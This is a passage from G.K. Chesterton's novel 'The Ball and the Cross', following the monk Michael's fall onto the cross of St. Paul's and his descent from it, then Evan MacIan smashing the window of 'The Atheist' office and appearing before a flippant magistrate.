Lucifer, +"of endeavouring to convert you by argument. The imbecility of +your traditions can be quite finally exhibited to anybody with +mere ordinary knowledge of the world, the same kind of knowledge +which teaches us not to sit in draughts or not to encourage +friendliness in impecunious people. It is folly to talk of this +or that demonstrating the rationalist philosophy. Everything +demonstrates it. Rubbing shoulders with men of all kinds----" + +"You will forgive me," said the monk, meekly from under loads of +white beard, "but I fear I do not understand; was it in order +that I might rub my shoulder against men of all kinds that you +put me inside this thing?" + +"An entertaining retort, in the narrow and deductive manner of +the Middle Ages," replied the Professor, calmly, "but even upon +your own basis I will illustrate my point. We are up in the sky. +In your religion and all the religions, as far as I know (and I +know everything), the sky is made the symbol of everything that +is sacred and merciful. Well, now you are in the sky, you know +better. Phrase it how you like, twist it how you like, you know +that you know better. You know what are a man's real feelings +about the heavens, when he finds himself alone in the heavens, +surrounded by the heavens. You know the truth, and the truth is +this. The heavens are evil, the sky is evil, the stars are evil. +This mere space, this mere quantity, terrifies a man more than +tigers or the terrible plague. You know that since our science +has spoken, the bottom has fallen out of the Universe. Now, +heaven is the hopeless thing, more hopeless than any hell. Now, +if there be any comfort for all your miserable progeny of morbid +apes, it must be in the earth, underneath you, under the roots of +the grass, in the place where hell was of old. The fiery crypts, +the lurid cellars of the underworld, to which you once condemned +the wicked, are hideous enough, but at least they are more homely +than the heaven in which we ride. And the time will come when you +will all hide in them, to escape the horror of the stars." + +"I hope you will excuse my interrupting you," said Michael, with +a slight cough, "but I have always noticed----" + +"Go on, pray go on," said Professor Lucifer, radiantly, "I really +like to draw out your simple ideas." + +"Well, the fact is," said the other, "that much as I admire your +rhetoric and the rhetoric of your school, from a purely verbal +point of view, such little study of you and your school in human +history as I have been enabled to make has led me to--er--rather +singular conclusion, which I find great difficulty in expressing, +especially in a foreign language." + +"Come, come," said the Professor, encouragingly, "I'll help you +out. How did my view strike you?" + +"Well, the truth is, I know I don't express it properly, but +somehow it seemed to me that you always convey ideas of that kind +with most eloquence, when--er--when----" + +"Oh! get on," cried Lucifer, boisterously. + +"Well, in point of fact when your flying ship is just going to +run into something. I thought you wouldn't mind my mentioning it, +but it's running into something now." + +Lucifer exploded with an oath and leapt erect, leaning hard upon +the handle that acted as a helm to the vessel. For the last ten +minutes they had been shooting downwards into great cracks and +caverns of cloud. Now, through a sort of purple haze, could be +seen comparatively near to them what seemed to be the upper part +of a huge, dark orb or sphere, islanded in a sea of cloud. The +Professor's eyes were blazing like a maniac's. + +"It is a new world," he cried, with a dreadful mirth. "It is a +new planet and it shall bear my name. This star and not that +other vulgar one shall be 'Lucifer, sun of the morning.' Here we +will have no chartered lunacies, here we will have no gods. Here +man shall be as innocent as the daisies, as innocent and as +cruel--here the intellect----" + +"There seems," said Michael, timidly, "to be something sticking +up in the middle of it." + +"So there is," said the Professor, leaning over the side of the +ship, his spectacles shining with intellectual excitement. "What +can it be? It might of course be merely a----" + +Then a shriek indescribable broke out of him of a sudden, and he +flung up his arms like a lost spirit. The monk took the helm in a +tired way; he did not seem much astonished for he came from an +ignorant part of the world in which it is not uncommon for lost +spirits to shriek when they see the curious shape which the +Professor had just seen on the top of the mysterious ball, but he +took the helm only just in time, and by driving it hard to the +left he prevented the flying ship from smashing into St. Paul's +Cathedral. + +A plain of sad-coloured cloud lay along the level of the top of +the Cathedral dome, so that the ball and the cross looked like a +buoy riding on a leaden sea. As the flying ship swept towards it, +this plain of cloud looked as dry and definite and rocky as any +grey desert. Hence it gave to the mind and body a sharp and +unearthly sensation when the ship cut and sank into the cloud as +into any common mist, a thing without resistance. There was, as +it were, a deadly shock in the fact that there was no shock. It +was as if they had cloven into ancient cliffs like so much +butter. But sensations awaited them which were much stranger than +those of sinking through the solid earth. For a moment their eyes +and nostrils were stopped with darkness and opaque cloud; then +the darkness warmed into a kind of brown fog. And far, far below +them the brown fog fell until it warmed into fire. Through the +dense London atmosphere they could see below them the flaming +London lights; lights which lay beneath them in squares and +oblongs of fire. The fog and fire were mixed in a passionate +vapour; you might say that the fog was drowning the flames; or +you might say that the flames had set the fog on fire. Beside the +ship and beneath it (for it swung just under the ball), the +immeasurable dome itself shot out and down into the dark like a +combination of voiceless cataracts. Or it was like some cyclopean +sea-beast sitting above London and letting down its tentacles +bewilderingly on every side, a monstrosity in that starless +heaven. For the clouds that belonged to London had closed over +the heads of the voyagers sealing up the entrance of the upper +air. They had broken through a roof and come into a temple of +twilight. + +They were so near to the ball that Lucifer leaned his hand +against it, holding the vessel away, as men push a boat off from +a bank. Above it the cross already draped in the dark mists of +the borderland was shadowy and more awful in shape and size. + +Professor Lucifer slapped his hand twice upon the surface of the +great orb as if he were caressing some enormous animal. "This is +the fellow," he said, "this is the one for my money." + +"May I with all respect inquire," asked the old monk, "what on +earth you are talking about?" + +"Why this," cried Lucifer, smiting the ball again, "here is the +only symbol, my boy. So fat. So satisfied. Not like that scraggy +individual, stretching his arms in stark weariness." And he +pointed up to the cross, his face dark with a grin. "I was +telling you just now, Michael, that I can prove the best part of +the rationalist case and the Christian humbug from any symbol you +liked to give me, from any instance I came across. Here is an +instance with a vengeance. What could possibly express your +philosophy and my philosophy better than the shape of that cross +and the shape of this ball? This globe is reasonable; that cross +is unreasonable. It is a four-legged animal, with one leg longer +than the others. The globe is inevitable. The cross is arbitrary. +Above all the globe is at unity with itself; the cross is +primarily and above all things at enmity with itself. The cross +is the conflict of two hostile lines, of irreconcilable +direction. That silent thing up there is essentially a collision, +a crash, a struggle in stone. Pah! that sacred symbol of yours +has actually given its name to a description of desperation and +muddle. When we speak of men at once ignorant of each other and +frustrated by each other, we say they are at cross-purposes. Away +with the thing! The very shape of it is a contradiction in +terms." + +"What you say is perfectly true," said Michael, with serenity. +"But we like contradictions in terms. Man is a contradiction in +terms; he is a beast whose superiority to other beasts consists +in having fallen. That cross is, as you say, an eternal +collision; so am I. That is a struggle in stone. Every form of +life is a struggle in flesh. The shape of the cross is +irrational, just as the shape of the human animal is irrational. +You say the cross is a quadruped with one limb longer than the +rest. I say man is a quadruped who only uses two of his legs." + +The Professor frowned thoughtfully for an instant, and said: "Of +course everything is relative, and I would not deny that the +element of struggle and self-contradiction, represented by that +cross, has a necessary place at a certain evolutionary stage. +But surely the cross is the lower development and the sphere the +higher. After all it is easy enough to see what is really wrong +with Wren's architectural arrangement." + +"And what is that, pray?" inquired Michael, meekly. + +"The cross is on top of the ball," said Professor Lucifer, +simply. "That is surely wrong. The ball should be on top of the +cross. The cross is a mere barbaric prop; the ball is perfection. +The cross at its best is but the bitter tree of man's history; +the ball is the rounded, the ripe and final fruit. And the fruit +should be at the top of the tree, not at the bottom of it." + +"Oh!" said the monk, a wrinkle coming into his forehead, "so you +think that in a rationalistic scheme of symbolism the ball should +be on top of the cross?" + +"It sums up my whole allegory," said the professor. + +"Well, that is really very interesting," resumed Michael slowly, +"because I think in that case you would see a most singular +effect, an effect that has generally been achieved by all those +able and powerful systems which rationalism, or the religion of +the ball, has produced to lead or teach mankind. You would see, I +think, that thing happen which is always the ultimate embodiment +and logical outcome of your logical scheme." + +"What are you talking about?" asked Lucifer. "What would happen?" + +"I mean it would fall down," said the monk, looking wistfully +into the void. + +Lucifer made an angry movement and opened his mouth to speak, but +Michael, with all his air of deliberation, was proceeding before +he could bring out a word. + +"I once knew a man like you, Lucifer," he said, with a maddening +monotony and slowness of articulation. "He took this----" + +"There is no man like me," cried Lucifer, with a violence that +shook the ship. + +"As I was observing," continued Michael, "this man also took the +view that the symbol of Christianity was a symbol of savagery and +all unreason. His history is rather amusing. It is also a perfect +allegory of what happens to rationalists like yourself. He began, +of course, by refusing to allow a crucifix in his house, or round +his wife's neck, or even in a picture. He said, as you say, that +it was an arbitrary and fantastic shape, that it was a +monstrosity, loved because it was paradoxical. Then he began to +grow fiercer and more eccentric; he would batter the crosses by +the roadside; for he lived in a Roman Catholic country. Finally +in a height of frenzy he climbed the steeple of the Parish Church +and tore down the cross, waving it in the air, and uttering wild +soliloquies up there under the stars. Then one still summer +evening as he was wending his way homewards, along a lane, the +devil of his madness came upon him with a violence and +transfiguration which changes the world. He was standing smoking, +for a moment, in the front of an interminable line of palings, +when his eyes were opened. Not a light shifted, not a leaf +stirred, but he saw as if by a sudden change in the eyesight that +this paling was an army of innumerable crosses linked together +over hill and dale. And he whirled up his heavy stick and went at +it as if at an army. Mile after mile along his homeward path he +broke it down and tore it up. For he hated the cross and every +paling is a wall of crosses. When he returned to his house he was +a literal madman. He sat upon a chair and then started up from it +for the cross-bars of the carpentry repeated the intolerable +image. He flung himself upon a bed only to remember that this, +too, like all workmanlike things, was constructed on the accursed +plan. He broke his furniture because it was made of crosses. He +burnt his house because it was made of crosses. He was found in +the river." + +Lucifer was looking at him with a bitten lip. + +"Is that story really true?" he asked. + +"Oh, no," said Michael, airily. "It is a parable. It is a parable +of you and all your rationalists. You begin by breaking up the +Cross; but you end by breaking up the habitable world. We leave +you saying that nobody ought to join the Church against his will. +When we meet you again you are saying that no one has any will to +join it with. We leave you saying that there is no such place as +Eden. We find you saying that there is no such place as Ireland. +You start by hating the irrational and you come to hate +everything, for everything is irrational and so----" + +Lucifer leapt upon him with a cry like a wild beast's. "Ah," he +screamed, "to every man his madness. You are mad on the cross. +Let it save you." + +And with a herculean energy he forced the monk backwards out of +the reeling car on to the upper part of the stone ball. Michael, +with as abrupt an agility, caught one of the beams of the cross +and saved himself from falling. At the same instant Lucifer drove +down a lever and the ship shot up with him in it alone. + +"Ha! ha!" he yelled, "what sort of a support do you find it, old +fellow?" + +"For practical purposes of support," replied Michael grimly, "it +is at any rate a great deal better than the ball. May I ask if +you are going to leave me here?" + +"Yes, yes. I mount! I mount!" cried the professor in ungovernable +excitement. "_Altiora peto_. My path is upward." + +"How often have you told me, Professor, that there is really no +up or down in space?" said the monk. "I shall mount up as much as +you will." + +"Indeed," said Lucifer, leering over the side of the flying ship. +"May I ask what you are going to do?" + +The monk pointed downward at Ludgate Hill. "I am going," he said, +"to climb up into a star." + +Those who look at the matter most superficially regard paradox as +something which belongs to jesting and light journalism. Paradox +of this kind is to be found in the saying of the dandy, in the +decadent comedy, "Life is much too important to be taken +seriously." Those who look at the matter a little more deeply or +delicately see that paradox is a thing which especially belongs +to all religions. Paradox of this kind is to be found in such a +saying as "The meek shall inherit the earth." But those who see +and feel the fundamental fact of the matter know that paradox is +a thing which belongs not to religion only, but to all vivid and +violent practical crises of human living. This kind of paradox +may be clearly perceived by anybody who happens to be hanging in +mid-space, clinging to one arm of the Cross of St. Paul's. + +Father Michael in spite of his years, and in spite of his +asceticism (or because of it, for all I know), was a very healthy +and happy old gentleman. And as he swung on a bar above the +sickening emptiness of air, he realized, with that sort of dead +detachment which belongs to the brains of those in peril, the +deathless and hopeless contradiction which is involved in the +mere idea of courage. He was a happy and healthy old gentleman +and therefore he was quite careless about it. And he felt as +every man feels in the taut moment of such terror that his chief +danger was terror itself; his only possible strength would be a +coolness amounting to carelessness, a carelessness amounting +almost to a suicidal swagger. His one wild chance of coming out +safely would be in not too desperately desiring to be safe. There +might be footholds down that awful facade, if only he could not +care whether they were footholds or no. If he were foolhardy he +might escape; if he were wise he would stop where he was till he +dropped from the cross like a stone. And this antinomy kept on +repeating itself in his mind, a contradiction as large and +staring as the immense contradiction of the Cross; he remembered +having often heard the words, "Whosoever shall lose his life the +same shall save it." He remembered with a sort of strange pity +that this had always been made to mean that whoever lost his +physical life should save his spiritual life. Now he knew the +truth that is known to all fighters, and hunters, and climbers of +cliffs. He knew that even his animal life could only be saved by +a considerable readiness to lose it. + +Some will think it improbable that a human soul swinging +desperately in mid-air should think about philosophical +inconsistencies. But such extreme states are dangerous things to +dogmatize about. Frequently they produce a certain useless and +joyless activity of the mere intellect, thought not only divorced +from hope but even from desire. And if it is impossible to +dogmatize about such states, it is still more impossible to +describe them. To this spasm of sanity and clarity in Michael's +mind succeeded a spasm of the elemental terror; the terror of the +animal in us which regards the whole universe as its enemy; +which, when it is victorious, has no pity, and so, when it is +defeated has no imaginable hope. Of that ten minutes of terror it +is not possible to speak in human words. But then again in that +damnable darkness there began to grow a strange dawn as of grey +and pale silver. And of this ultimate resignation or certainty it +is even less possible to write; it is something stranger than +hell itself; it is perhaps the last of the secrets of God. At the +highest crisis of some incurable anguish there will suddenly fall +upon the man the stillness of an insane contentment. It is not +hope, for hope is broken and romantic and concerned with the +future; this is complete and of the present. It is not faith, for +faith by its very nature is fierce, and as it were at once +doubtful and defiant; but this is simply a satisfaction. It is +not knowledge, for the intellect seems to have no particular part +in it. Nor is it (as the modern idiots would certainly say it is) +a mere numbness or negative paralysis of the powers of grief. It +is not negative in the least; it is as positive as good news. In +some sense, indeed, it is good news. It seems almost as if there +were some equality among things, some balance in all possible +contingencies which we are not permitted to know lest we should +learn indifference to good and evil, but which is sometimes shown +to us for an instant as a last aid in our last agony. + +Michael certainly could not have given any sort of rational +account of this vast unmeaning satisfaction which soaked through +him and filled him to the brim. He felt with a sort of +half-witted lucidity that the cross was there, and the ball was +there, and the dome was there, that he was going to climb down +from them, and that he did not mind in the least whether he was +killed or not. This mysterious mood lasted long enough to start +him on his dreadful descent and to force him to continue it. But +six times before he reached the highest of the outer galleries +terror had returned on him like a flying storm of darkness and +thunder. By the time he had reached that place of safety he +almost felt (as in some impossible fit of drunkenness) that he +had two heads; one was calm, careless, and efficient; the other +saw the danger like a deadly map, was wise, careful, and useless. +He had fancied that he would have to let himself vertically down +the face of the whole building. When he dropped into the upper +gallery he still felt as far from the terrestrial globe as if he +had only dropped from the sun to the moon. He paused a little, +panting in the gallery under the ball, and idly kicked his heels, +moving a few yards along it. And as he did so a thunderbolt +struck his soul. A man, a heavy, ordinary man, with a composed +indifferent face, and a prosaic sort of uniform, with a row of +buttons, blocked his way. Michael had no mind to wonder whether +this solid astonished man, with the brown moustache and the +nickel buttons, had also come on a flying ship. He merely let his +mind float in an endless felicity about the man. He thought how +nice it would be if he had to live up in that gallery with that +one man for ever. He thought how he would luxuriate in the +nameless shades of this man's soul and then hear with an endless +excitement about the nameless shades of the souls of all his +aunts and uncles. A moment before he had been dying alone. Now +he was living in the same world with a man; an inexhaustible +ecstasy. In the gallery below the ball Father Michael had found +that man who is the noblest and most divine and most lovable of +all men, better than all the saints, greater than all the +heroes--man Friday. + +In the confused colour and music of his new paradise, Michael +heard only in a faint and distant fashion some remarks that this +beautiful solid man seemed to be making to him; remarks about +something or other being after hours and against orders. He also +seemed to be asking how Michael "got up" there. This beautiful +man evidently felt as Michael did that the earth was a star and +was set in heaven. + +At length Michael sated himself with the mere sensual music of +the voice of the man in buttons. He began to listen to what he +said, and even to make some attempt at answering a question which +appeared to have been put several times and was now put with some +excess of emphasis. Michael realized that the image of God in +nickel buttons was asking him how he had come there. He said that +he had come in Lucifer's ship. On his giving this answer the +demeanour of the image of God underwent a remarkable change. From +addressing Michael gruffly, as if he were a malefactor, he began +suddenly to speak to him with a sort of eager and feverish +amiability as if he were a child. He seemed particularly anxious +to coax him away from the balustrade. He led him by the arm +towards a door leading into the building itself, soothing him all +the time. He gave what even Michael (slight as was his knowledge +of the world) felt to be an improbable account of the sumptuous +pleasures and varied advantages awaiting him downstairs. Michael +followed him, however, if only out of politeness, down an +apparently interminable spiral of staircase. At one point a door +opened. Michael stepped through it, and the unaccountable man in +buttons leapt after him and pinioned him where he stood. But he +only wished to stand; to stand and stare. He had stepped as it +were into another infinity, out under the dome of another heaven. +But this was a dome of heaven made by man. The gold and green and +crimson of its sunset were not in the shapeless clouds but in +shapes of cherubim and seraphim, awful human shapes with a +passionate plumage. Its stars were not above but far below, like +fallen stars still in unbroken constellations; the dome itself +was full of darkness. And far below, lower even than the lights, +could be seen creeping or motionless, great black masses of men. +The tongue of a terrible organ seemed to shake the very air in +the whole void; and through it there came up to Michael the sound +of a tongue more terrible; the dreadful everlasting voice of man, +calling to his gods from the beginning to the end of the world. +Michael felt almost as if he were a god, and all the voices were +hurled at him. + +"No, the pretty things aren't here," said the demi-god in +buttons, caressingly. "The pretty things are downstairs. You +come along with me. There's something that will surprise you +downstairs; something you want very much to see." + +Evidently the man in buttons did not feel like a god, so Michael +made no attempt to explain his feelings to him, but followed him +meekly enough down the trail of the serpentine staircase. He had +no notion where or at what level he was. He was still full of the +cold splendour of space, and of what a French writer has +brilliantly named the "vertigo of the infinite," when another +door opened, and with a shock indescribable he found himself on +the familiar level, in a street full of faces, with the houses +and even the lamp-posts above his head. He felt suddenly happy +and suddenly indescribably small. He fancied he had been changed +into a child again; his eyes sought the pavement seriously as +children's do, as if it were a thing with which something +satisfactory could be done. He felt the full warmth of that +pleasure from which the proud shut themselves out; the pleasure +which not only goes with humiliation, but which almost is +humiliation. Men who have escaped death by a hair have it, and +men whose love is returned by a woman unexpectedly, and men whose +sins are forgiven them. Everything his eye fell on it feasted on, +not aesthetically, but with a plain, jolly appetite as of a boy +eating buns. He relished the squareness of the houses; he liked +their clean angles as if he had just cut them with a knife. The +lit squares of the shop windows excited him as the young are +excited by the lit stage of some promising pantomime. He +happened to see in one shop which projected with a bulging +bravery on to the pavement some square tins of potted meat, and +it seemed like a hint of a hundred hilarious high teas in a +hundred streets of the world. He was, perhaps, the happiest of +all the children of men. For in that unendurable instant when he +hung, half slipping, to the ball of St. Paul's, the whole +universe had been destroyed and re-created. + +Suddenly through all the din of the dark streets came a crash of +glass. With that mysterious suddenness of the Cockney mob, a rush +was made in the right direction, a dingy office, next to the shop +of the potted meat. The pane of glass was lying in splinters +about the pavement. And the police already had their hands on a +very tall young man, with dark, lank hair and dark, dazed eyes, +with a grey plaid over his shoulder, who had just smashed the +shop window with a single blow of his stick. + +"I'd do it again," said the young man, with a furious white face. +"Anybody would have done it. Did you see what it said? I swear +I'd do it again." Then his eyes encountered the monkish habit of +Michael, and he pulled off his grey tam-o'-shanter with the +gesture of a Catholic. + +"Father, did you see what they said?" he cried, trembling. "Did +you see what they dared to say? I didn't understand it at first. +I read it half through before I broke the window." + +Michael felt he knew not how. The whole peace of the world was +pent up painfully in his heart. The new and childlike world which +he had seen so suddenly, men had not seen at all. Here they were +still at their old bewildering, pardonable, useless quarrels, +with so much to be said on both sides, and so little that need be +said at all. A fierce inspiration fell on him suddenly; he would +strike them where they stood with the love of God. They should +not move till they saw their own sweet and startling existence. +They should not go from that place till they went home embracing +like brothers and shouting like men delivered. From the Cross +from which he had fallen fell the shadow of its fantastic mercy; +and the first three words he spoke in a voice like a silver +trumpet, held men as still as stones. Perhaps if he had spoken +there for an hour in his illumination he might have founded a +religion on Ludgate Hill. But the heavy hand of his guide fell +suddenly on his shoulder. + +"This poor fellow is dotty," he said good-humouredly to the +crowd. "I found him wandering in the Cathedral. Says he came in +a flying ship. Is there a constable to spare to take care of him?" + +There was a constable to spare. Two other constables attended to +the tall young man in grey; a fourth concerned himself with the +owner of the shop, who showed some tendency to be turbulent. They +took the tall young man away to a magistrate, whither we shall +follow him in an ensuing chapter. And they took the happiest man +in the world away to an asylum. + + + +II. THE RELIGION OF THE STIPENDIARY MAGISTRATE + +The editorial office of _The Atheist_ had for some years past +become less and less prominently interesting as a feature of +Ludgate Hill. The paper was unsuited to the atmosphere. It showed +an interest in the Bible unknown in the district, and a knowledge +of that volume to which nobody else on Ludgate Hill could make +any conspicuous claim. It was in vain that the editor of _The +Atheist_ filled his front window with fierce and final demands as +to what Noah in the Ark did with the neck of the giraffe. It was +in vain that he asked violently, as for the last time, how the +statement "God is Spirit" could be reconciled with the statement +"The earth is His footstool." It was in vain that he cried with +an accusing energy that the Bishop of London was paid L12,000 a +year for pretending to believe that the whale swallowed Jonah. It +was in vain that he hung in conspicuous places the most thrilling +scientific calculations about the width of the throat of a whale. +Was it nothing to them all they that passed by? Did his sudden +and splendid and truly sincere indignation never stir any of the +people pouring down Ludgate Hill? Never. The little man who +edited _The Atheist_ would rush from his shop on starlit evenings +and shake his fist at St. Paul's in the passion of his holy war +upon the holy place. He might have spared his emotion. The cross +at the top of St. Paul's and _The Atheist_ shop at the foot of it +were alike remote from the world. The shop and the Cross were +equally uplifted and alone in the empty heavens. + +To the little man who edited _The Atheist_, a fiery little +Scotchman, with fiery, red hair and beard, going by the name of +Turnbull, all this decline in public importance seemed not so +much sad or even mad, but merely bewildering and unaccountable. +He had said the worst thing that could be said; and it seemed +accepted and ignored like the ordinary second best of the +politicians. Every day his blasphemies looked more glaring, and +every day the dust lay thicker upon them. It made him feel as if +he were moving in a world of idiots. He seemed among a race of +men who smiled when told of their own death, or looked vacantly +at the Day of Judgement. Year after year went by, and year after +year the death of God in a shop in Ludgate became a less and less +important occurrence. All the forward men of his age discouraged +Turnbull. The socialists said he was cursing priests when he +should be cursing capitalists. The artists said that the soul was +most spiritual, not when freed from religion, but when freed from +morality. Year after year went by, and at least a man came by who +treated Mr. Turnbull's secularist shop with a real respect and +seriousness. He was a young man in a grey plaid, and he smashed +the window. + +He was a young man, born in the Bay of Arisaig, opposite Rum and +the Isle of Skye. His high, hawklike features and snaky black +hair bore the mark of that unknown historic thing which is +crudely called Celtic, but which is probably far older than the +Celts, whoever they were. He was in name and stock a Highlander +of the Macdonalds; but his family took, as was common in such +cases, the name of a subordinate sept as a surname, and for all +the purposes which could be answered in London, he called himself +Evan MacIan. He had been brought up in some loneliness and +seclusion as a strict Roman Catholic, in the midst of that little +wedge of Roman Catholics which is driven into the Western +Highlands. And he had found his way as far as Fleet Street, +seeking some half-promised employment, without having properly +realized that there were in the world any people who were not +Roman Catholics. He had uncovered himself for a few moments +before the statue of Queen Anne, in front of St. Paul's +Cathedral, under the firm impression that it was a figure of the +Virgin Mary. He was somewhat surprised at the lack of deference +shown to the figure by the people bustling by. He did not +understand that their one essential historical principle, the one +law truly graven on their hearts, was the great and comforting +statement that Queen Anne is dead. This faith was as fundamental +as his faith, that Our Lady was alive. Any persons he had talked +to since he had touched the fringe of our fashion or civilization +had been by a coincidence, sympathetic or hypocritical. Or if +they had spoken some established blasphemies, he had been unable +to understand them merely owing to the preoccupied satisfaction +of his mind. + +On that fantastic fringe of the Gaelic land where he walked as a +boy, the cliffs were as fantastic as the clouds. Heaven seemed to +humble itself and come closer to the earth. The common paths of +his little village began to climb quite suddenly and seemed +resolved to go to heaven. The sky seemed to fall down towards the +hills; the hills took hold upon the sky. In the sumptuous sunset +of gold and purple and peacock green cloudlets and islets were +the same. Evan lived like a man walking on a borderland, the +borderland between this world and another. Like so many men and +nations who grow up with nature and the common things, he +understood the supernatural before he understood the natural. He +had looked at dim angels standing knee-deep in the grass before +he had looked at the grass. He knew that Our Lady's robes were +blue before he knew the wild roses round her feet were red. The +deeper his memory plunged into the dark house of childhood the +nearer and nearer he came to the things that cannot be named. +All through his life he thought of the daylight world as a sort +of divine debris, the broken remainder of his first vision. The +skies and mountains were the splendid off-scourings of another +place. The stars were lost jewels of the Queen. Our Lady had +gone and left the stars by accident. + +His private tradition was equally wild and unworldly. His +great-grandfather had been cut down at Culloden, certain in his +last instant that God would restore the King. His grandfather, +then a boy of ten, had taken the terrible claymore from the hand +of the dead and hung it up in his house, burnishing it and +sharpening it for sixty years, to be ready for the next +rebellion. His father, the youngest son and the last left alive, +had refused to attend on Queen Victoria in Scotland. And Evan +himself had been of one piece with his progenitors; and was not +dead with them, but alive in the twentieth century. He was not +in the least the pathetic Jacobite of whom we read, left behind +by a final advance of all things. He was, in his own fancy, a +conspirator, fierce and up to date. In the long, dark afternoons +of the Highland winter, he plotted and fumed in the dark. He +drew plans of the capture of London on the desolate sand of +Arisaig. + +When he came up to capture London, it was not with an army of +white cockades, but with a stick and a satchel. London overawed +him a little, not because he thought it grand or even terrible, +but because it bewildered him; it was not the Golden City or even +hell; it was Limbo. He had one shock of sentiment, when he turned +that wonderful corner of Fleet Street and saw St. Paul's sitting +in the sky. + +"Ah," he said, after a long pause, "that sort of thing was built +under the Stuarts!" Then with a sour grin he asked himself what +was the corresponding monument of the Brunswicks and the +Protestant Constitution. After some warning, he selected a +sky-sign of some pill. + +Half an hour afterwards his emotions left him with an emptied +mind on the same spot. And it was in a mood of mere idle +investigation that he happened to come to a standstill opposite +the office of _The Atheist_. He did not see the word "atheist", +or if he did, it is quite possible that he did not know the +meaning of the word. Even as it was, the document would not have +shocked even the innocent Highlander, but for the troublesome and +quite unforeseen fact that the innocent Highlander read it +stolidly to the end; a thing unknown among the most enthusiastic +subscribers to the paper, and calculated in any case to create a +new situation. + +With a smart journalistic instinct characteristic of all his +school, the editor of _The Atheist_ had put first in his paper +and most prominently in his window an article called "The +Mesopotamian Mythology and its Effects on Syriac Folk Lore." Mr. +Evan MacIan began to read this quite idly, as he would have read +a public statement beginning with a young girl dying in Brighton +and ending with Bile Beans. He received the very considerable +amount of information accumulated by the author with that tired +clearness of the mind which children have on heavy summer +afternoons--that tired clearness which leads them to go on asking +questions long after they have lost interest in the subject and +are as bored as their nurse. The streets were full of people and +empty of adventures. He might as well know about the gods of +Mesopotamia as not; so he flattened his long, lean face against +the dim bleak pane of the window and read all there was to read +about Mesopotamian gods. He read how the Mesopotamians had a god +named Sho (sometimes pronounced Ji), and that he was described as +being very powerful, a striking similarity to some expressions +about Jahveh, who is also described as having power. Evan had +never heard of Jahveh in his life, and imagining him to be some +other Mesopotamian idol, read on with a dull curiosity. He learnt +that the name Sho, under its third form of Psa, occurs in an +early legend which describes how the deity, after the manner of +Jupiter on so many occasions, seduced a Virgin and begat a hero. +This hero, whose name is not essential to our existence, was, it +was said, the chief hero and Saviour of the Mesopotamian ethical +scheme. Then followed a paragraph giving other examples of such +heroes and Saviours being born of some profligate intercourse +between God and mortal. Then followed a paragraph--but Evan did +not understand it. He read it again and then again. Then he did +understand it. The glass fell in ringing fragments on to the +pavement, and Evan sprang over the barrier into the shop, +brandishing his stick. + +"What is this?" cried little Mr. Turnbull, starting up with hair +aflame. "How dare you break my window?" + +"Because it was the quickest cut to you," cried Evan, stamping. +"Stand up and fight, you crapulous coward. You dirty lunatic, +stand up, will you? Have you any weapons here?" + +"Are you mad?" asked Turnbull, glaring. + +"Are you?" cried Evan. "Can you be anything else when you plaster +your own house with that God-defying filth? Stand up and fight, I +say." + +A great light like dawn came into Mr. Turnbull's face. Behind his +red hair and beard he turned deadly pale with pleasure. Here, +after twenty lone years of useless toil, he had his reward. +Someone was angry with the paper. He bounded to his feet like a +boy; he saw a new youth opening before him. And as not +unfrequently happens to middle-aged gentlemen when they see a new +youth opening before them, he found himself in the presence of +the police. + +The policemen, after some ponderous questionings, collared both +the two enthusiasts. They were more respectful, however, to the +young man who had smashed the window, than to the miscreant who +had had his window smashed. There was an air of refined mystery +about Evan MacIan, which did not exist in the irate little +shopkeeper, an air of refined mystery which appealed to the +policemen, for policemen, like most other English types, are at +once snobs and poets. MacIan might possibly be a gentleman, they +felt; the editor manifestly was not. And the editor's fine +rational republican appeals to his respect for law, and his +ardour to be tried by his fellow citizens, seemed to the police +quite as much gibberish as Evan's mysticism could have done. The +police were not used to hearing principles, even the principles +of their own existence. + +The police magistrate, before whom they were hurried and tried, +was a Mr. Cumberland Vane, a cheerful, middle-aged gentleman, +honourably celebrated for the lightness of his sentences and the +lightness of his conversation. He occasionally worked himself up +into a sort of theoretic rage about certain particular offenders, +such as the men who took pokers to their wives, talked in a +loose, sentimental way about the desirability of flogging them, +and was hopelessly bewildered by the fact that the wives seemed +even more angry with him than with their husbands. He was a tall, +spruce man, with a twist of black moustache and incomparable +morning dress. He looked like a gentleman, and yet, somehow, like +a stage gentleman. + +He had often treated serious crimes against mere order or +property with a humane flippancy. Hence, about the mere breaking +of an editor's window, he was almost uproarious. + +"Come, Mr. MacIan, come," he said, leaning back in his chair, "do +you generally enter you friends' houses by walking through the +glass?" (Laughter.) + +"He is not my friend," said Evan, with the stolidity of a dull +child. + +"Not your friend, eh?" said the magistrate, sparkling. "Is he +your brother-in-law?" (Loud and prolonged laughter.) + +"He is my enemy," said Evan, simply; "he is the enemy of God." + +Mr. Vane shifted sharply in his seat, dropping the eye-glass out +of his eye in a momentary and not unmanly embarrassment. + +"You mustn't talk like that here," he said, roughly, and in a +kind of hurry, "that has nothing to do with us." + +Evan opened his great, blue eyes; "God," he began. + +"Be quiet," said the magistrate, angrily, "it is most undesirable +that things of that sort should be spoken about--a--in public, +and in an ordinary Court of Justice. Religion is--a--too personal +a matter to be mentioned in such a place." + +"Is it?" answered the Highlander, "then what did those policemen +swear by just now?" + +"That is no parallel," answered Vane, rather irritably; "of +course there is a form of oath--to be taken reverently-- +reverently, and there's an end of it. But to talk in a public +place about one's most sacred and private sentiments--well, I +call it bad taste. (Slight applause.) I call it irreverent. +I call it irreverent, and I'm not specially orthodox either." + +"I see you are not," said Evan, "but I am." + +"We are wondering from the point," said the police magistrate, +pulling himself together. + +"May I ask why you smashed this worthy citizen's window?" + +Evan turned a little pale at the mere memory, but he answered +with the same cold and deadly literalism that he showed +throughout. + +"Because he blasphemed Our Lady." + +"I tell you once and for all," cried Mr. Cumberland Vane, rapping +his knuckles angrily on the table, "I tell you, once and for all, +my man, that I will not have you turning on any religious rant or +cant here. Don't imagine that it will impress me. The most +religious people are not those who talk about it. (Applause.) +You answer the questions and do nothing else." + +"I did nothing else," said Evan, with a slight smile. + +"Eh," cried Vane, glaring through his eye-glass. + +"You asked me why I broke his window," said MacIan, with a face +of wood. "I answered, 'Because he blasphemed Our Lady.' I had +no other reason. So I have no other answer." Vane continued to +gaze at him with a sternness not habitual to him. + +"You are not going the right way to work, Sir," he said, with +severity. "You are not going the right way to work to--a--have +your case treated with special consideration. If you had simply +expressed regret for what you had done, I should have been +strongly inclined to dismiss the matter as an outbreak of temper. +Even now, if you say that you are sorry I shall only----" + +"But I am not in the least sorry," said Evan, "I am very +pleased." + +"I really believe you are insane," said the stipendiary, +indignantly, for he had really been doing his best as a +good-natured man, to compose the dispute. "What conceivable right +have 